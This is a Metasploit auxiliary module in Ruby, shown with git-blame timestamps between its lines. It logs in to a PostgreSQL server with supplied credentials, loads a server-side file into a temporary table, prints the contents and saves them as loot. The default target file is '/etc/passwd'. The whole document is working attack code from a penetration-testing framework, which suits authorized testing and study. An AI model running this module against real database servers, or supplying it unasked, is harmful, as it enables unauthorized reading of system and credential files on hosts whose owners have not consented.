2010-02-08 22:34:09 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-02-08 22:34:09 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2010-02-08 22:34:09 +00:00
|
|
|
include Msf::Exploit::Remote::Postgres
|
2012-05-23 18:07:13 -06:00
|
|
|
include Msf::Auxiliary::Report
|
2024-02-12 11:52:48 +00:00
|
|
|
include Msf::OptionalSession::PostgreSQL
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-02-08 22:34:09 +00:00
|
|
|
def initialize(info = {})
|
2025-05-21 08:32:40 +10:00
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'PostgreSQL Server Generic Query',
|
|
|
|
|
'Description' => %q{
|
2010-02-08 22:34:09 +00:00
|
|
|
This module imports a file local on the PostgreSQL Server into a
|
|
|
|
|
temporary table, reads it, and then drops the temporary table.
|
|
|
|
|
It requires PostgreSQL credentials with table CREATE privileges
|
|
|
|
|
as well as read privileges to the target file.
|
2025-05-21 08:32:40 +10:00
|
|
|
},
|
|
|
|
|
'Author' => [ 'todb' ],
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [CRASH_SAFE],
|
|
|
|
|
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],
|
|
|
|
|
'Reliability' => []
|
|
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
2010-02-08 22:34:09 +00:00
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
|
[
|
2025-05-21 08:32:40 +10:00
|
|
|
OptString.new('RFILE', [true, 'The remote file', '/etc/passwd'])
|
2024-01-24 13:47:22 +00:00
|
|
|
]
|
|
|
|
|
)
|
2010-02-08 22:34:09 +00:00
|
|
|
|
2025-05-21 08:32:40 +10:00
|
|
|
deregister_options('SQL', 'RETURN_ROWSET')
|
2010-02-08 22:34:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def rhost
|
|
|
|
|
datastore['RHOST']
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def rport
|
|
|
|
|
datastore['RPORT']
|
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2010-02-08 22:34:09 +00:00
|
|
|
def run
|
2024-01-24 13:47:22 +00:00
|
|
|
self.postgres_conn = session.client if session
|
2010-02-08 22:34:09 +00:00
|
|
|
ret = postgres_read_textfile(datastore['RFILE'])
|
|
|
|
|
case ret.keys[0]
|
|
|
|
|
when :conn_error
|
|
|
|
|
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
|
|
|
|
|
when :sql_error
|
|
|
|
|
case ret[:sql_error]
|
|
|
|
|
when /^C58P01/
|
2024-02-19 10:57:53 +00:00
|
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - No such file or directory."
|
|
|
|
|
vprint_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"
|
2010-02-08 22:34:09 +00:00
|
|
|
when /^C42501/
|
2024-02-19 10:57:53 +00:00
|
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Insufficient file permissions."
|
|
|
|
|
vprint_status "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"
|
2010-02-08 22:34:09 +00:00
|
|
|
else
|
2024-02-19 10:57:53 +00:00
|
|
|
print_error "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}"
|
2010-02-08 22:34:09 +00:00
|
|
|
end
|
|
|
|
|
when :complete
|
2012-05-23 18:07:13 -06:00
|
|
|
loot = ''
|
2025-05-21 08:32:40 +10:00
|
|
|
ret[:complete].rows.each do |row|
|
2012-05-23 18:07:13 -06:00
|
|
|
print_line(row.first)
|
|
|
|
|
loot << row.first
|
2025-05-21 08:32:40 +10:00
|
|
|
end
|
2012-05-23 18:07:13 -06:00
|
|
|
# No idea what the actual ctype will be, text/plain is just a guess
|
2024-02-19 10:57:53 +00:00
|
|
|
path = store_loot('postgres.file', 'text/plain', postgres_conn.peerhost, loot, datastore['RFILE'])
|
|
|
|
|
print_good("#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{datastore['RFILE']} saved in #{path}")
|
2025-05-21 08:32:40 +10:00
|
|
|
vprint_good "#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Command complete."
|
2010-02-08 22:34:09 +00:00
|
|
|
end
|
2025-05-21 08:32:40 +10:00
|
|
|
postgres_logout if postgres_conn && session.blank?
|
2010-02-08 22:34:09 +00:00
|
|
|
end
|
|
|
|
|
end
|